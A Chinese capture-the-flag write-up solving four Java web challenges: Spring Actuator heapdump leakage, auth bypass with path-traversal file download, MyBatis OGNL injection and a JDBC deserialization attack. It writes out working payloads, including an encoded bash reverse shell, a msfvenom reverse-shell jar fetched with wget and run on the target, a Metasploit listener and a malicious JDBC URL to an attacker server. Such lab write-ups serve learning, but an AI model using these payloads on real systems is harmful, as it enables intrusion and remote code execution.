0xGame WEEK4 java全家桶

[Week 4] spring

根据提示为springboot的actuator未授权访问漏洞,下载敏感文件heapdump

ctfscript

1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

image-20231025213944755

[Week 4] auth_bypass

绕过姿势:

hackbar:

1
//

burpsuite:

1
/./

然后就可以进行任意文件下载了,首先尝试下载敏感文件

1
url//download?filename=../WEB-INF/web.xml

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<servlet>
<servlet-name>IndexServlet</servlet-name>
<servlet-class>com.example.demo.IndexServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.example.demo.DownloadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>EvilServlet</servlet-name>
<servlet-class>com.example.demo.EvilServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>IndexServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>EvilServlet</servlet-name>
<url-pattern>/You_Find_This_Evil_Servlet_a76f02cb8422</url-pattern>
</servlet-mapping>

<filter>
<filter-name>AuthFilter</filter-name>
<filter-class>com.example.demo.AuthFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>AuthFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

可以得到一个新的路由,直接访问得到信息有限,根据得到的配置文件尝试源代码的class文件

1
2
3
4
5
/WEB-INF/web.xm1  #WEB应用程序配置文件,描述了servlet和其它应用组件配置及命名规则。
/WEB-INF/classes/ #含站点所有的class文件
/WEB-INF/lib/ #存放WEB应用需要的各种JAR文件
/WEB-INF/src/ #源码目录
WEB-INF/database.properties #数据库配胃文件
1
url//download?filename=../WEB-INF/classes/com/example/demo/EvilServlet.class

得到源代码之后进行反编译得到路由和执行参数

1
You_Find_This_Evil_Servlet_a76f02cb8422?Evil_Cmd_Arguments_fe37627fed78=ls

反弹shell进行rce,命令和平常的不太一样

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}

image-20231025221533100

[Week 4] YourBatis

动态SQL会造成OGNL表达式注入漏洞,测试paylaod如下,传入的时候一定得url编码

1
@java.lang.Runtime@getRuntime().exec("")

这里使用msf得到shell,用下面的命令生成木马文件

1
msfvenom -p java/shell_reverse_tcp LHOST=150.158.24.228 LPORT=250 -f jar > shell.jar

将木马下载到靶机上

1
${@java.lang.Runtime@getRuntime().exec("wget http://url/shell.jar -O 2.jar")}

在vps上开启msf监听

1
2
3
4
5
6
msfconsole
use multi/handler
set PAYLOAD java/shell_reverse_tcp
set LHOST 150.158.24.228
set LPORT 250
run

在靶机上执行目标木马,记得url编码

1
${@java.lang.Runtime@getRuntime().exec("java -jar 2.jar")}

env得到flag

image-20231026152548555

[Week 4] TestConnection

看了hint知道了是jdbc的数据库连接漏洞

利用项目:https://github.com/fnmsd/MySQL_Fake_Server

vps启动服务,直接读取环境变量就ok,靶机命令如下

1
testConnection?username=&password=&driver=com.mysql.jdbc.Driver&url=jdbc:mysql://110.41.17.183:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

image-20231026155354422